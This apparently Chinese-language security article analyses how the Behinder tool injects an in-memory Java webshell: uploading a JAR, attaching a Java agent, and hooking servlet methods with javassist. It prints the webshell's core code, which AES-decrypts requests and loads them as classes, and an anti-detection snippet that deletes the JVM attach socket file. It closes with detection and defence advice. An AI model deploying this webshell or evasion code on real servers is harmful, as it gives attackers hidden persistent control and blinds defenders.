冰蝎内存webshell注入和防检测分析
字数 1690 2025-08-09 18:44:06
冰蝎内存Webshell注入与防检测机制深度分析
一、概述
冰蝎客户端在内存Webshell注入方面采用了独特的机制,与传统的Godzilla等工具不同,它通过Instrumentation + javaassist技术实现对HTTP相关类的hook操作,实现了无新类加载的内存Webshell注入。本文将从技术原理、实现细节和防御机制三个方面进行深入分析。
二、技术原理
1. 整体流程
- 客户端获取目标系统信息
- 上传恶意JAR包到目标服务器临时目录
- 通过Loader类将JAR包添加到URLClassLoader搜索路径
- 使用Java Instrumentation机制加载Agent
- Agent通过javaassist修改关键HTTP处理类的方法
- 注入的代码拦截HTTP请求并处理特定路径的请求
2. 与传统内存马的对比
| 技术 | 传统内存马 | 冰蝎内存马 |
|---|---|---|
| 实现方式 | 添加Servlet/Filter | Hook现有类方法 |
| 类加载 | 加载新类 | 不加载新类 |
| 检测难度 | 较易(可通过新类检测) | 较难(无新类特征) |
| 兼容性 | 依赖特定容器 | 通用性更强 |
三、详细实现分析
1. 客户端注入流程
-
信息收集阶段
- 从本地数据库获取或通过baseinfo payload获取目标系统信息
- 确定临时目录路径:
- Linux:
/tmp/{随机字符} - Windows:
c:/windows/temp/{随机字符}
- Linux:
-
文件上传与加载
- 上传对应操作系统的JAR包(tools_0.jar等)
- 通过Loader类实现加载:
URLClassLoader.addURL(new URL(libPath)); -
Agent注入
VirtualMachine.attach(pid); VirtualMachine.loadAgent(libpath, "path|password");
2. Agent核心逻辑
-
agentmain方法
- 初始化关键变量:
classes: 所有已加载类targetClasses: 不同中间件的Request/Response类名shellCode: 内存Webshell代码
- 初始化关键变量:
-
类查找与修改
- 遍历已加载类匹配targetClasses
- 从参数解析URL和password
- 动态修改shellCode中的import语句
-
方法Hook
- 使用javaassist在以下方法前插入代码:
ServletRequest#serviceServletResponse#service- Weblogic的
execute方法
- 使用javaassist在以下方法前插入代码:
3. ShellCode分析
核心功能代码:
if (request.getRequestURI().matches(pathPattern)) {
// 初始化加密相关对象
Cipher c = Cipher.getInstance("AES");
SecretKeySpec keyObj = new SecretKeySpec(k.getBytes(), "AES");
c.init(Cipher.DECRYPT_MODE, keyObj);
// 处理请求体
byte[] requestBody = Base64.decode(request.getReader().readLine());
byte[] buf = c.doFinal(requestBody);
// 动态加载并执行解密后的类
Method defineMethod = ClassLoader.class.getDeclaredMethod("defineClass",
String.class, ByteBuffer.class, ProtectionDomain.class);
ClassLoader cl = new SecureClassLoader(loader);
Class c = (Class)defineMethod.invoke(cl, null, ByteBuffer.wrap(buf), null);
c.newInstance().equals(obj);
}
四、防检测机制
1. 防检测原理
冰蝎通过删除/tmp/.java_pid{pid}文件实现防检测:
- 该文件是JVM attach机制在Linux上使用的Unix domain socket
- 删除后其他工具无法再attach到同一JVM进程
- 已注入的Agent不受影响,继续运行
2. 实现代码
if (osInfo.indexOf("windows") < 0 &&
osInfo.indexOf("winnt") < 0 &&
osInfo.indexOf("linux") >= 0 &&
antiAgent) {
String fileName = "/tmp/.java_pid" + getCurrentPID();
(new File(fileName)).delete();
}
3. 影响范围
- 仅阻止后续Agent注入
- 不影响已注入的Agent
- 仅对Linux系统有效
五、检测与防御建议
1. 检测方法
-
文件检测
- 检查临时目录中的可疑JAR文件
- 监控
/tmp/.java_pid*文件的异常删除
-
内存检测
- 扫描被修改的HTTP处理类
- 检查关键方法中的代码注入
-
行为检测
- 监控异常的ClassLoader行为
- 检测反射调用加密解密操作
2. 防御建议
-
预防措施
- 限制JVM的attach能力:
-Djdk.attach.allowAttachSelf=false - 监控和限制临时目录的写入
- 限制JVM的attach能力:
-
运行时防护
- 使用RASP解决方案监控关键类修改
- 部署WAF拦截特征请求
-
加固措施
- 定期重启关键服务
- 使用完整性校验工具检查核心类
六、总结
冰蝎内存Webshell技术代表了当前内存马技术的先进方向,其主要特点包括:
- 无新类加载:通过hook现有类方法实现,规避传统检测手段
- 高兼容性:适配多种中间件和Java版本
- 防检测机制:利用JVM机制阻止后续检测工具注入
防御此类高级内存马需要采用多层次、多维度的防护策略,结合静态检测和运行时防护,才能有效应对不断演进的内存马技术。